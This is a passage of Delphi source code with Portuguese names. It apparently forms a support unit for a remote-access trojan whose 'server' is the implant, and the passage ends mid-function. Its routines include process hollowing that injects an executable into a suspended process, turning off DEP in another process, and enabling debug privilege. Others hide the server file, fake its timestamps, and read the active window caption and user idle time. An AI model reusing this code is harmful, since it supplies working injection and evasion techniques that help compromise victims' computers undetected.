PSHFileOpStruct = PSHFileOpStructA;
_SHFILEOPSTRUCTA = packed record
Wnd: HWND;
wFunc: UINT;
pFrom: PAnsiChar;
pTo: PAnsiChar;
fFlags: FILEOP_FLAGS;
fAnyOperationsAborted: BOOL;
hNameMappings: Pointer;
lpszProgressTitle: PAnsiChar;
end;
_SHFILEOPSTRUCT = _SHFILEOPSTRUCTA;
TSHFileOpStructA = _SHFILEOPSTRUCTA;
TSHFileOpStruct = TSHFileOpStructA;
// fim copiar diretório
type
UNICODE_STRING = Packed record
Length : smallint;
MaximumLength : smallint;
Buffer : integer;
end;
pPROCESS_BASIC_INFORAMTION = ^PROCESS_BASIC_INFORAMTION;
PROCESS_BASIC_INFORAMTION = packed record
ExitStatus : DWORD;
PEBBaseAddress : Pointer;
AffinityMask : DWORD;
BasePriority : DWORD;
UniqueProcessId : DWORD;
InheritedFormUniqueProcessId : DWORD;
end;
function IntToStr(i: Integer): String;
function StrToInt(S: String): Integer;
function GetValueName(chave, valor: string): string;
Function lerreg(Key:HKEY; Path:string; Value, Default: string): string;
function MySystemFolder: String;
function MyWindowsFolder: String;
function MyTempFolder: String;
function MyRootFolder: String;
function GetProgramFilesDir: string;
function UpperString(S: String): String;
function LowerString(S: String): String;
function isIE7: boolean;
function write2reg(key: Hkey; subkey, name, value: string): boolean;
function MyShellExecute(hWndA: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST;
function GetHour:String;
function GetMinute:String;
function GetSecond:String;
function GetYear:String;
function GetMonth:String;
function GetDay:String;
function GetShellFolder(const folder: string): string;
function GetAppDataDir: string;
function ExtractFilePath(sFilename: String): String;
function LastDelimiter(S: String; Delimiter: Char): Integer;
function MyDeleteFile(s: String): Boolean;
function MyDeleteFile2(lpFileName: PChar): BOOL;
function fileexists(filename: string): boolean;
function ProcessFileName(PID: DWORD): string;
function processExists(exeFileName: string; var PID: integer): Boolean;
function ExtractFilename(const path: string): string;
function StrLen(tStr:PChar):integer;
function GetDefaultBrowser: string;
function ExtractFileExt(const filename: string): string;
function GetResourcePointer(ResName: string; ResType: PChar; var ResourceSize: cardinal): pointer;
Procedure CriarArquivo(NomedoArquivo: String; imagem: string; Size: DWORD);
Function MemoryExecute(Buffer: Pointer; ProcessName, Parameters: String; Visible: Boolean): Boolean;
function LerArquivo(FileName: String; var tamanho: DWORD): String;
procedure changeserverdate(server: string);
function ActiveCaption: string;
function TrimRight(const s: string): string;
Function StartThread(pFunction : TFNThreadStartRoutine; iPriority : Integer = Thread_Priority_Normal; iStartFlag : Integer = 0) : THandle;
Function CloseThread( ThreadHandle : THandle) : Boolean;
procedure hideserver(server: string);
Function ReplaceString(ToBeReplaced, ReplaceWith : string; TheString :string):string;
function MyGetFileSize2(path:String):int64;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
function FindMatchingFile(var F: TSearchRec): Integer;
procedure _MyFindClose(var F: TSearchRec);
function GetPIDbyName(lpProcName: PWideChar) : DWORD; stdcall;
function IntToHex(dwNumber: DWORD; Len: Integer): String; overload;
function MycapGetDriverDescriptionA(wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL;
function MyDragQueryFile(Drop: HDROP; FileIndex: UINT; FileName: PChar; cb: UINT): UINT;
function MyURLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar;
Reserved: DWORD;LPBINDSTATUSCALLBACK: pointer): HResult;
procedure DesabilitarClose(handle: HWND);
procedure HabilitarClose(handle: HWND);
function DeleteFolder(Path: String): Boolean;
function MyRenameFile_Dir(oldPath, NewPath : string) : Boolean;
function CopyDirectory(const Hwd : LongWord; const SourcePath, DestPath : string): boolean;
procedure StrPCopy(Dest : PChar; Source : String);
function MySHFileOperation(const lpFileOp: TSHFileOpStruct): Integer;
function GetFileDateTime(lpFilename: String): String;
function Format(sFormat: String; Args: Array of const): String;
function FindNext(var F: TSearchRec): Integer;
function DisableDEP(pid: dword): Boolean;
procedure SetTokenPrivileges;
function GetHwndText(AHandle: HWND): string;
Function ExtractDiskSerial(Drive: String): String;
function SecondsIdle: int64;
function ExecuteCommand(command, params: string; ShowCmd: dword): boolean;
function IsDirectoryEmpty(const directory : string) : boolean;
implementation
function IsDirectoryEmpty(const directory : string) : boolean;
var
searchRec :TSearchRec;
begin
try
result := (FindFirst(directory+'\*.*', faAnyFile, searchRec) = 0) AND
(FindNext(searchRec) = 0) AND
(FindNext(searchRec) <> 0);
finally
_MyFindClose(searchRec) ;
end;
end;
function ExecuteCommand(command, params: string; ShowCmd: dword): boolean;
begin
if myShellExecute(0, nil, pchar(command), pchar(params), nil, ShowCmd) <= 32 then
result := false else result := true;
end;
function SecondsIdle: int64;
var
liInfo: TLastInputInfo;
begin
liInfo.cbSize := SizeOf(TLastInputInfo) ;
GetLastInputInfo(liInfo) ;
Result := GetTickCount - liInfo.dwTime;
end;
Function ExtractDiskSerial(Drive: String): String;
Var
Serial:DWord;
DirLen,Flags: DWord;
DLabel : Array[0..11] of Char;
begin
Result := '';
GetVolumeInformation(PChar(Drive),dLabel,12,@Serial,DirLen,Flags,nil,0);
Result := IntToHex(Serial,8);
end;
function GetHwndText(AHandle: HWND): string;
var
Textlength: Integer;
Text: PChar;
test:pchar;
begin
result := '';
try
GetMem(Text, TextLength + 1);
GetWindowText(AHandle, Text, TextLength + 1);
finally
result := string(text);
end;
end;
function ZwQueryInformationProcess(hProcess: THandle;
InformationClass: DWORD;Buffer: pPROCESS_BASIC_INFORAMTION;
BufferLength : DWORD;ReturnLength: PDWORD): Cardinal; stdcall; external 'ntdll.dll' name 'ZwQueryInformationProcess';
function ZwSetInformationProcess(cs1:THandle; cs2:ULONG;
cs3:Pointer; cs4:ULONG):ULONG; stdcall; external 'ntdll.dll' name 'ZwSetInformationProcess';
procedure SetTokenPrivileges;
var
hToken1, hToken2, hToken3: THandle;
TokenPrivileges: TTokenPrivileges;
Version: OSVERSIONINFO;
begin
Version.dwOSVersionInfoSize := SizeOf(OSVERSIONINFO);
GetVersionEx(Version);
if Version.dwPlatformId <> VER_PLATFORM_WIN32_WINDOWS then
begin
try
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken1);
hToken2 := hToken1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges[0].luid);
TokenPrivileges.PrivilegeCount := 1;
TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
hToken3 := 0;
AdjustTokenPrivileges(hToken1, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
TokenPrivileges.PrivilegeCount := 1;
TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
hToken3 := 0;
AdjustTokenPrivileges(hToken2, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
CloseHandle(hToken1);
except;
end;
end;
end;
function DisableDEP(pid: dword): Boolean;
var
ExecuteFlags: LongWord;
ProcessHandle: THandle;
begin
Result := False;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, pid);
if ProcessHandle = 0 then
Exit;
if ZwQueryInformationProcess(ProcessHandle, {ProcessExecuteFlags} 22, @ExecuteFlags, sizeof(ExecuteFlags), nil) < $C0000000 then
begin
ExecuteFlags := ExecuteFlags or $2; // MEM_EXECUTE_OPTION_ENABLE
ExecuteFlags := ExecuteFlags or $8; // MEM_EXECUTE_OPTION_PERMANENT
Result := (ZwSetInformationProcess(ProcessHandle, {ProcessExecuteFlags} 22, @ExecuteFlags, sizeof(ExecuteFlags)) < $C0000000);
CloseHandle(ProcessHandle);
end;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F) else
Result := GetLastError;
end;
function Format(sFormat: String; Args: Array of const): String;
var
i: Integer;
pArgs1, pArgs2: PDWORD;
lpBuffer: PChar;
begin
pArgs1 := nil;
if Length(Args) > 0 then
GetMem(pArgs1, Length(Args) * sizeof(Pointer));
pArgs2 := pArgs1;
for i := 0 to High(Args) do
begin
pArgs2^ := DWORD(PDWORD(@Args[i])^);
inc(pArgs2);
end;
GetMem(lpBuffer, 1024);
try
SetString(Result, lpBuffer, wvsprintf(lpBuffer, PChar(sFormat), PChar(pArgs1)));
except
Result := '';
end;
if pArgs1 <> nil then
FreeMem(pArgs1);
if lpBuffer <> nil then
FreeMem(lpBuffer);
end;
function GetFileDateTime(lpFilename: String): String;
var
i, j: Integer;
hFile: THandle;
lpFindFileData: TWin32FindData;
lpSystemTime: TSystemTime;
lpDate: PChar;
lpTime: PChar;
const
// sResult = '%s às %s horas';
sResult = '%s -- %s';
begin
Result := '';
hFile := FindFirstFile(PChar(lpFilename), lpFindFileData);
if hFile <> INVALID_HANDLE_VALUE then
begin
lpDate := nil;
lpTime := nil;
windows.FileTimeToSystemTime(lpFindFileData.ftLastAccessTime, lpSystemTime);
i := GetDateFormat(LOCALE_USER_DEFAULT, 0, @lpSystemTime, 'dd/MM/yyyy', nil, 0);
if i > 0 then
begin
GetMem(lpDate, i);
GetDateFormat(LOCALE_USER_DEFAULT, 0, @lpSystemTime, 'dd/MM/yyyy', lpDate, i);
end;
j := GetTimeFormat(LOCALE_USER_DEFAULT, 0, @lpSystemTime, 'HH:mm', nil, 0);
if j > 0 then
begin
GetMem(lpTime, j);
GetTimeFormat(LOCALE_USER_DEFAULT, 0, @lpSystemTime, 'HH:mm', lpTime, j);
end;
Result := Format(sResult, [lpDate, lpTime]);
FreeMem(lpDate, i);
FreeMem(lpTime, j);
end;
FindClose(hFile);
end;
function MySHFileOperation(const lpFileOp: TSHFileOpStruct): Integer;
var
xSHFileOperation: function(const lpFileOp: TSHFileOpStruct): Integer; stdcall;
begin
xSHFileOperation := GetProcAddress(LoadLibrary(pchar('shell32.dll')), pchar('SHFileOperationA'));
Result := xSHFileOperation(lpFileOp);
end;
procedure StrPCopy(Dest : PChar; Source : String);
begin
Source := Source + #0;
Move(Source[1], Dest^, Length(Source));
end;
function CopyDirectory(const Hwd : LongWord; const SourcePath, DestPath : string): boolean;
var
OpStruc: TSHFileOpStruct;
frombuf, tobuf: Array [0..128] of Char;
Begin
Result := false;
FillChar( frombuf, Sizeof(frombuf), 0 );
FillChar( tobuf, Sizeof(tobuf), 0 );
StrPCopy( frombuf, SourcePath);
StrPCopy( tobuf, DestPath);
With OpStruc DO Begin
Wnd:= Hwd;
wFunc:= FO_COPY;
pFrom:= @frombuf;
pTo:=@tobuf;
fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
fAnyOperationsAborted:= False;
hNameMappings:= Nil;
lpszProgressTitle:= Nil;
end;
if myShFileOperation(OpStruc) = 0 then
Result := true;
end;
function MyRenameFile_Dir(oldPath, NewPath : string) : Boolean;
begin
if oldPath = NewPath then //Duh!
Result := False
else
Result := movefile(pchar(OldPath), pchar(NewPath));
end;
function DeleteFolder(Path: String): Boolean;
var
hFile: THandle;
lpFindFileData: TWin32FindData;
sFilename: String;
Directory: Boolean;
begin
Result := False;
if Path[Length(Path)] <> '\' then Path := Path + '\';
hFile := FindFirstFile(PChar(Path + '*.*'), lpFindFileData);
if hFile = INVALID_HANDLE_VALUE then Exit;
repeat
sFilename := lpFindFileData.cFileName;
if ((sFilename <> '.') and (sFilename <> '..')) then
begin
Directory := (lpFindFileData.dwFileAttributes <> INVALID_HANDLE_VALUE) and
(FILE_ATTRIBUTE_DIRECTORY and lpFindFileData.dwFileAttributes <> 0);
if Directory = False then
begin
sFilename := Path + sFilename;
MyDeleteFile(PChar(sFilename));
end else
begin
DeleteFolder(Path + sFilename);
end;
end;
until FindNextFile(hFile, lpFindFileData) = False;
FindClose(hFile);
if RemoveDirectory(PChar(Path)) then Result := True;
end;
procedure HabilitarClose(handle: HWND);
var
Flag: UINT;
AppSysMenu: THandle;
begin
AppSysMenu := windows.GetSystemMenu(Handle, False);
Flag := MF_ENABLED; // Set Flag to MF_ENABLED to re-enable it
EnableMenuItem(AppSysMenu, SC_CLOSE, MF_BYCOMMAND or Flag);
end;
procedure DesabilitarClose(handle: HWND);
var
Flag: UINT;
AppSysMenu: THandle;
begin
AppSysMenu := windows.GetSystemMenu(Handle, False);
Flag := MF_GRAYED; // Set Flag to MF_ENABLED to re-enable it
EnableMenuItem(AppSysMenu, SC_CLOSE, MF_BYCOMMAND or Flag);
end;
function MyURLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar;
Reserved: DWORD;LPBINDSTATUSCALLBACK: pointer): HResult;
var
xURLDownloadToFile: function(Caller: IUnknown; URL: PChar; FileName: PChar;
Reserved: DWORD;LPBINDSTATUSCALLBACK: pointer): HResult; stdcall;
begin
xURLDownloadToFile := GetProcAddress(LoadLibrary(pchar('urlmon.dll')), pchar('URLDownloadToFileA'));
Result := xURLDownloadToFile(Caller, URL, FileName, Reserved, LPBINDSTATUSCALLBACK);
end;
function MyDragQueryFile(Drop: HDROP; FileIndex: UINT; FileName: PChar; cb: UINT): UINT;
var
xDragQueryFile: function(Drop: HDROP; FileIndex: UINT; FileName: PChar; cb: UINT): UINT; stdcall;
begin
xDragQueryFile := windows.GetProcAddress(LoadLibrary(pchar('shell32.dll')), pchar('DragQueryFileA'));
Result := xDragQueryFile(Drop, FileIndex, FileName, cb);
end;
function MycapGetDriverDescriptionA(wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL;
var
xcapGetDriverDescriptionA: function(wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL; stdcall;
begin
xcapGetDriverDescriptionA := GetProcAddress(LoadLibrary(pchar('AVICAP32.dll')), pchar('capGetDriverDescriptionA'));
Result := xcapGetDriverDescriptionA(wDriverIndex, lpszName, cbName, lpszVer, cbVer);
end;
function IntToHex(dwNumber: DWORD; Len: Integer): String; overload;
const
HexNumbers:Array [0..15] of Char = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'A', 'B', 'C', 'D', 'E', 'F');
begin
Result := '';
while dwNumber <> 0 do
begin
Result := HexNumbers[Abs(dwNumber mod 16)] + Result;
dwNumber := dwNumber div 16;
end;
if Result = '' then
begin
while Length(Result) < Len do
Result := '0' + Result;
Exit;
end;
if Result[Length(Result)] = '-' then
begin
Delete(Result, Length(Result), 1);
Insert('-', Result, 1);
end;
while Length(Result) < Len do
Result := '0' + Result;
end;
function ZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): Cardinal; stdcall;
external 'ntdll.dll';
function GetProcessTable(SysInfoClass: DWORD) : Pointer;
var
dwSize: DWORD;
lpBuff: Pointer;
NT_stat: Cardinal;
begin
Result := nil;
dwSize := $4000;
repeat
lpBuff := VirtualAlloc(nil, dwSize, $1000 or $2000, 4);
if lpBuff = nil then Exit;
NT_stat := ZwQuerySystemInformation(SysInfoClass, lpBuff, dwSize, nil);
if NT_stat = Cardinal($C0000004) then
begin
VirtualFree(lpBuff, 0, $8000);
dwSize := dwSize shl 1;
end;
until NT_stat <> Cardinal($C0000004);
if NT_stat = Cardinal($00000000) then
begin
Result := lpBuff;
Exit;
end;
VirtualFree(lpBuff, 0, $8000);
end; //GetProcessTable
function GetPIDbyName(lpProcName: PWideChar) : DWORD; stdcall;
var
PTable: PSYSTEM_PROCESSES;
begin
Result := 0;
PTable := GetProcessTable(5);
if PTable = nil then Exit;
while PTable^.NextEntryDelta > 0 do
begin
PTable := Pointer(DWORD(PTable) + PTable^.NextEntryDelta);
if lstrcmpiW(PTable^.ProcessName.Buffer, lpProcName) = 0 then
begin
Result := PTable^.ProcessId;
Exit;
end;
end;
end;
procedure _MyFindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then _MyFindClose(F);
end else
Result := GetLastError;
end;
function MyGetFileSize2(path:String):int64;
var
SearchRec : TSearchRec;
begin
if fileexists(path) = false then
begin
result := 0;
exit;
end;
if FindFirst(path, faAnyFile, SearchRec ) = 0 then // if found
Result := Int64(SearchRec.FindData.nFileSizeHigh) shl Int64(32) + // calculate the size
Int64(SearchREc.FindData.nFileSizeLow)
else
Result := -1;
_Myfindclose(SearchRec);
end;
Function ReplaceString(ToBeReplaced, ReplaceWith : string; TheString :string):string;
var
Position: Integer;
LenToBeReplaced: Integer;
TempStr: String;
TempSource: String;
begin
LenToBeReplaced:=length(ToBeReplaced);
TempSource:=TheString;
TempStr:='';
repeat
position := pos(ToBeReplaced, TempSource);
if (position <> 0) then
begin
TempStr := TempStr + copy(TempSource, 1, position-1); //Part before ToBeReplaced
TempStr := TempStr + ReplaceWith; //Tack on replace with string
TempSource := copy(TempSource, position+LenToBeReplaced, length(TempSource)); // Update what's left
end else
begin
Tempstr := Tempstr + TempSource; // Tack on the rest of the string
end;
until (position = 0);
Result:=Tempstr;
end;
procedure hideserver(server: string);
var
i: cardinal;
begin
i := GetFileAttributes(PChar(server));
i := i or faHidden; //oculto
i := i or faReadOnly; //somente leitura
i := i or faSysFile; //de sistema
SetFileAttributes(PChar(server), i);
end;
Function StartThread(pFunction : TFNThreadStartRoutine; iPriority : Integer = Thread_Priority_Normal; iStartFlag : Integer = 0) : THandle;
var
ThreadID : DWORD;
begin
Result := CreateThread(nil, 0, pFunction, nil, iStartFlag, ThreadID);
SetThreadPriority(Result, iPriority);
end;
Function CloseThread( ThreadHandle : THandle) : Boolean;
begin
Result := TerminateThread(ThreadHandle, 1);
CloseHandle(ThreadHandle);
end;
function TrimRight(const s: string): string;
var
i: integer;
begin
i := Length(s);
while (I > 0) and (s[i] <= ' ') do Dec(i);
Result := Copy(s, 1, i);
end;
function ActiveCaption: string;
var
Handle: THandle;
Len: LongInt;
Title: string;
begin
Result := '';
Handle := GetForegroundWindow;
if Handle <> 0 then
begin
Len := GetWindowTextLength(Handle) + 1;
SetLength(Title, Len);
GetWindowText(Handle, PChar(Title), Len);
ActiveCaption := TrimRight(Title);
end;
end;
procedure changeserverdate(server: string);
var
SHandle: THandle;
MyFileTime : TFileTime;
begin
randomize;
MyFileTime.dwLowDateTime := 29700000 + random(99999);
MyFileTime.dwHighDateTime:= 29700000 + random(99999);
SHandle := CreateFile(PChar(server), GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if SHandle = INVALID_HANDLE_VALUE then
begin
CloseHandle(sHandle);
SHandle := CreateFile(PChar(server), GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if SHandle <> INVALID_HANDLE_VALUE then
SetFileTime(sHandle, @MyFileTime, @MyFileTime, @MyFileTime);
CloseHandle(sHandle);
end else
SetFileTime(sHandle, @MyFileTime, @MyFileTime, @MyFileTime);
CloseHandle(sHandle);
end;
function LerArquivo(FileName: String; var tamanho: DWORD): String;
var
hFile: Cardinal;
lpNumberOfBytesRead: DWORD;
imagem: pointer;
begin
result := '';
if fileexists(filename) = false then exit;
imagem := nil;
hFile := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
tamanho := GetFileSize(hFile, nil);
GetMem(imagem, tamanho);
ReadFile(hFile, imagem^, tamanho, lpNumberOfBytesRead, nil);
setstring(result, Pchar(imagem), tamanho);
freemem(imagem, tamanho);
CloseHandle(hFile);
end;
function MyZwUnmapViewOfSection(ProcessHandle: HANDLE; BaseAddress: PVOID): NTSTATUS;
var
xZwUnmapViewOfSection: function(ProcessHandle: HANDLE; BaseAddress: PVOID): NTSTATUS; stdcall;
begin
xZwUnmapViewOfSection := GetProcAddress(LoadLibrary(pchar('ntdll.dll')), pchar('ZwUnmapViewOfSection'));
Result := xZwUnmapViewOfSection(ProcessHandle, BaseAddress);
end;
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
Function MemoryExecute(Buffer: Pointer; ProcessName, Parameters: String; Visible: Boolean): Boolean;
Var
ProcessInfo: TProcessInformation;
StartupInfo: TStartupInfo;
Context: TContext;
BaseAddress: Pointer;
BytesRead: DWORD;
BytesWritten: DWORD;
I: ULONG;
OldProtect: ULONG;
NTHeaders: PImageNTHeaders;
Sections: PImageSectionHeaders;
Success: Boolean;
Begin
Result := False;
FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.wShowWindow := Word(Visible);
If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
Begin
Success := True;
Try
Context.ContextFlags := CONTEXT_INTEGER;
If (GetThreadContext(ProcessInfo.hThread, Context) And
(ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesRead)) And
(myZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
(Assigned(Buffer))) Then
Begin
NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
Pointer(NTHeaders.OptionalHeader.ImageBase),
NTHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE);
If (Assigned(BaseAddress)) And
(WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
NTHeaders.OptionalHeader.SizeOfHeaders,
BytesWritten)) Then
Begin
Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[I].VirtualAddress),
Pointer(Cardinal(Buffer) +
Sections[I].PointerToRawData),
Sections[I].SizeOfRawData, BytesWritten)) Then
VirtualProtectEx(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[I].VirtualAddress),
Sections[I].Misc.VirtualSize,
Protect(Sections[I].Characteristics),
OldProtect);
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Context.Ebx + 8), @BaseAddress,
SizeOf(BaseAddress), BytesWritten)) Then
Begin
Context.Eax := ULONG(BaseAddress) +
NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadContext(ProcessInfo.hThread, Context);
End;
End;
End;
Finally
If (Not Success) Then
TerminateProcess(ProcessInfo.hProcess, 0)
Else
ResumeThread(ProcessInfo.hThread);
Result := Success;
End;
End;
End;
Procedure CriarArquivo(NomedoArquivo: String; imagem: string; Size: DWORD);
var
hFile: THandle;
lpNumberOfBytesWritten: DWORD;
begin
hFile := CreateFile(PChar(NomedoArquivo), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
if hFile <> INVALID_HANDLE_VALUE then
begin
if Size = INVALID_HANDLE_VALUE then
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
WriteFile(hFile, imagem[1], Size, lpNumberOfBytesWritten, nil);
CloseHandle(hFile);
end;
end;
function GetResourcePointer(ResName: string; ResType: PChar; var ResourceSize: cardinal): pointer;
var
ResourceLocation: HRSRC;
ResourceHandle: THandle;
ResourcePointer: Pointer;
Module: Pointer;
begin
Result := nil;
ResourceSize := 0;
ResourceLocation := FindResource(HInstance, pchar(ResName), ResType);
if ResourceLocation <> 0 then
begin
ResourceSize := SizeofResource(HInstance, ResourceLocation);
if ResourceSize <> 0 then
begin
ResourceHandle := LoadResource(HInstance, ResourceLocation);
if ResourceHandle <> 0 then Result := LockResource(ResourceHandle);
end;
end;
end;
function ExtractFileExt(const filename: string): string;
var
i, l: integer;
ch: char;
begin
if pos('.', filename) = 0 then
begin
result := '';
exit;
end;
l := length(filename);
for i := l downto 1 do
begin
ch := filename[i];
if (ch = '.') then
begin
result := copy(filename, i + 1, length(filename));
break;
end;
end;
end;
function GetDefaultBrowser: string;
var
chave, valor: string;
begin
chave := 'http\shell\open\command';
valor := '';
result := lerreg(HKEY_CLASSES_ROOT, chave, valor, '');
if result = '' then
exit;
if result[1] = '"' then
result := copy(result, 2, pos('.exe', result) + 2)
else
result := copy(result, 1, pos('.exe', result) + 3);
if upperstring(extractfileext(result)) <> 'EXE' then
result := GetProgramFilesDir + '\Internet Explorer\iexplore.exe';
end;
function StrLen(tStr:PChar):integer;
begin
result:=0;
while tStr[Result] <> #0 do
inc(Result);
end;
function ExtractFilename(const path: string): string;
var
i, l: integer;
ch: char;
begin
l := length(path);
for i := l downto 1 do
begin
ch := path[i];
if (ch = '\') or (ch = '/') then
begin
result := copy(path, i + 1, l - i);
break;
end;
end;
end;
function processExists(exeFileName: string; var PID: integer): Boolean;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
PID := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result := False;
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperString(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperString(ExeFileName)) or (UpperString(FProcessEntry32.szExeFile) =
UpperString(ExeFileName))) then
begin
Result := True;
PID := FProcessEntry32.th32ProcessID;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
function ProcessFileName(PID: DWORD): string;
var
Handle: THandle;
dll: Cardinal;
GetModuleFileNameEx: function(hProcess: THandle; hModule: HMODULE;
lpFilename: PChar; nSize: DWORD): DWORD; stdcall;
begin
Result := '';
Handle := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False, PID);
if Handle <> 0 then
try
SetLength(Result, MAX_PATH);
begin
dll := LoadLibrary(pchar('PSAPI.dll'));
@GetModuleFileNameEx := GetProcAddress(dll, pchar('GetModuleFileNameExA'));
if GetModuleFileNameEx(Handle, 0, PChar(Result), MAX_PATH) > 0 then
SetLength(Result, StrLen(PChar(Result)))
else
Result := '';
end;
finally
CloseHandle(Handle);
end;
end;
function fileexists(filename: string): boolean;
var
hfile: thandle;
lpfindfiledata: twin32finddata;
begin
result := false;
hfile := findfirstfile(pchar(filename), lpfindfiledata);
if hfile <> invalid_handle_value then
begin
findclose(hfile);
result := true;
end;
end;
function MyDeleteFile(s: String): Boolean;
var
i: Byte;
begin
Result := FALSE;
if FileExists(s)then
try
i := GetFileAttributes(PChar(s));
i := i and faHidden;
i := i and faReadOnly;
i := i and faSysFile;
SetFileAttributes(PChar(s), i);
Result := MyDeleteFile2(Pchar(s));
except
end;
end;
function MyDeleteFile2(lpFileName: PChar): BOOL;
var
xDeleteFileA: function(lpFileName: PChar): BOOL; stdcall;
begin
xDeleteFileA := GetProcAddress(LoadLibrary(pchar('kernel32.dll')), pchar('DeleteFileA'));
Result := xDeleteFileA(lpFileName);
end;
function LastDelimiter(S: String; Delimiter: Char): Integer;
var
i: Integer;
begin
Result := -1;
i := Length(S);
if (S = '') or (i = 0) then
Exit;
while S[i] <> Delimiter do
begin
if i < 0 then
break;
dec(i);
end;
Result := i;
end;
function ExtractFilePath(sFilename: String): String;
begin
if (LastDelimiter(sFilename, '\') = -1) and (LastDelimiter(sFilename, '/') = -1) then
Exit;
if LastDelimiter(sFilename, '\') <> -1 then
Result := Copy(sFilename, 1, LastDelimiter(sFilename, '\')) else
if LastDelimiter(sFilename, '/') <> -1 then
Result := Copy(sFilename, 1, LastDelimiter(sFilename, '/'));
end;
function GetShellFolder(const folder: string): string;
var
chave, valor: string;
begin
chave := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders';
valor := folder;
result := lerreg(HKEY_CURRENT_USER, chave, valor, '');
end;
function GetAppDataDir: string;
var
cShellAppData: string;
begin
cShellAppData := 'AppData';
result := GetShellFolder(cShellAppData);
end;
function GetHour:String;
var
SysTime:TSystemTime;
begin
